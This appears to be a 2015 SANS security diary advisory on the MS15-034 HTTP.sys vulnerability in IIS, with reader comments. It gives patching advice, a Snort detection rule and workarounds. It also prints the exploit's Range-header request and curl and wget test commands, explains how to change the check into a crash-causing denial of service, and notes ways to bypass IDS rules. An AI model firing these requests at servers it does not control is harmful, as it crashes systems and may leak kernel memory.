MS15-034: HTTP.sys (IIS) DoS And Possible Remote Code Execution. PATCH NOW

Published: 2015-04-15
Last Updated: 2015-04-17 13:57:33 UTC
by Johannes Ullrich (Version: 1)
41 comment(s)

Denial of Service (DoS) exploits are widely available to exploit CVE-2015-1635, a vulnerability in HTTP.sys, affecting Internet Information Server (IIS) . The patch was released on Tuesday (April 14th) as part of Microsoft's Patch Tuesday.

Due to the ease with which this vulnerability can be exploited, we recommend that you expedite patching this vulnerability.

Update: We are seeing active exploits hitting our honeypots from We will be going to Infocon Yellow as these scans use the DoS version, not the "detection" version of the exploit. The scans appear to be "Internet wide".

[We will have a webcast live from SANS 2015 in Orlando at 6pm ET. For details, see . If you are attending SANS 2015: Osprey Room 1 at the Swan hotel]

Updated Section 6 information regarding Information Disclosure issue.

Based on posts on Twitter, is also sending the exploit code in "somewhat targeted" scans.

Version of the exploit seen used in these scans:

GET /%7Bwelcome.png HTTP/1.1
User-Agent: Wget/1.13.4 (linux-gnu)
Accept: */*
Host: [server-ip]
Connection: Keep-Alive
Range: bytes=18-18446744073709551615


1 - Which Versions of Windows Are Vulnerable?

Windows 7, Windows Server 2008 R2, Windows 8, Windows Server 2012, Windows 8.1, and Windows Server 2012 R2. HTTP.sys is used by any version of IIS running on one of these operating systems. HTTP.sys was introduced with IIS 6.

2 - Will an IPS protect me? 

Yes. If you have the right rules installed. For example, here is a simple rule for Snort:

alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (msg: " MS15-034 Range Header HTTP.sys Exploit"; content: "|0d 0a|Range: bytes="; nocase; content: "-"; within: 20 ; byte_test: 10,>,1000000000,0,relative,string,dec ; sid: 1001239;)

(byte_test is limited to 10 bytes, so I just check if the first 10 bytes are larger then 1000000000)

Watch out, there are some tricks to bypass simple rules, like adding whitespace to the Range: header's value. More info here.

3 - Will the exploit work over SSL?

Yes. Which may be used to bypass your IDS or other network protections

4 - Have you seen active exploits "in the wild"?

Not yet. We have seen working DoS exploits, but have not detected them in our honeypots. Erratasec conducted a (partial) scan of the Internet using a non-DoS exploit with the intend to enumerate vulnerable systems.

5 - How do I know if I am vulnerable?

Send the following request to your IIS server:

GET / HTTP/1.1
Host: MS15034
Range: bytes=0-18446744073709551615

If the server responds with "Requested Header Range Not Satisfiable", then you may be vulnerable.

Test Scripts:

(powershell removed as it doesn't support 64 bit intergers... worked without error for me, but something else may have been wrong with it)

curl -v [ipaddress]/ -H "Host: test" -H "Range: bytes=0-18446744073709551615"

wget -O /dev/null --header="Range: 0-18446744073709551615" http://[ip address]/


6 - Can this vulnerability be exploited to do more then a DoS?

In it's advisory, Microsoft considered the vulnerability as a remote code execution vulnerability. But at this point, no exploit has been made public that executed code. Only DoS exploits are available.
There also appears to be an information disclosure vulnerability. If the lower end of the range is one byte less then the size of the retrieved file, kernel memory is appended to the output before the system reboots. In my own testing, I was not able to achieve consistent information leakage. Most of the time, the server just crashes.

[Turns out, the file does not have to be > 4GB. Tried it with a short file and it worked. The >4GB information came from a bad interpretation of mine of the chinese article in the "Resources" section]

7 - How to I launch the DoS exploit?

In the example PoC above, change the "0-" to "20-". (has to be smaller then the size of the file retrieved, but larger then 0)

8 - What is special about the large number in the PoC exploit?

It is 2^64-1. The largest 64 bit number (hex: 0xFFFFFFFFFFFFFFFF)

9 - Any Other Workarounds?

In IIS 7, you can disable kernel caching.

10 - Is only IIS vulnerable? Or are other components affected as well?

Potentially, anything using HTTP.sys and kernel caching is vulnerable. HTTP.sys is the Windows library used to parse HTTP requests. However, IIS is the most common program exposing HTTP.sys. You may find potentially vulnerable components by typing: netsh http show servicestate (thx to @Gmanfunky)

11 - Will IIS Request Filtering Protect Me?

No. IIS Request Filtering happens after the Range header is parsed.

​ (Chinese)

Thanks to Threatstop for providing an IIS server for testing.


Johannes B. Ullrich, Ph.D.

41 comment(s)


"... ISS server". Is that "ISS" or "IIS"? [NOTE: This typo was corrected.]
FYI, looks like Palo Alto is already blocking the exploit as a threat. Should buy some time to patch in an orderly manner :)
If the POC is converted to use HTTPS, won't the headers be encrypted? Then, unless you decrypt the packets before or as they go thru the Palo Alto device, won't the exploit packets get thru to the target server?
Correct, in this case if any protective device is not doing SSL inspection this one will likely be missed.

Are we referring to this as the deRANGEd vulnerability?
Is there a way to block this on the IIS server itself, using tools such as Request Filtering

My thinking is that this would allow filtering even if you are not inspecting https on the network IPS?

On second thought, at this point it is probably too late as request filtering might be through HTTP.sys - it is simply filtering what requests to forward, not which requests HTTP.sys processes?? [Edit to note that this is a question, I can't confirm this myself.]
I found Python SSL Version enabled version of the checker if you guys need it with alterable host headers.

Traffic for WSman alias "Windows Remote Management" (see <>) and PowerShell remoting may reach HTTP.sys too!
And dont forget SQL Server Reporting Services, SSTP and the MANY other components which use HTTP.sys: check its configuration per
NetSh.exe HTTP Show ServiceState

The registered URLs tell which components use HTTP.sys.
Cisco IPS signature S862 includes definitions for this exploit. It is already blocking traffic targeting for our webservers

Diary Archives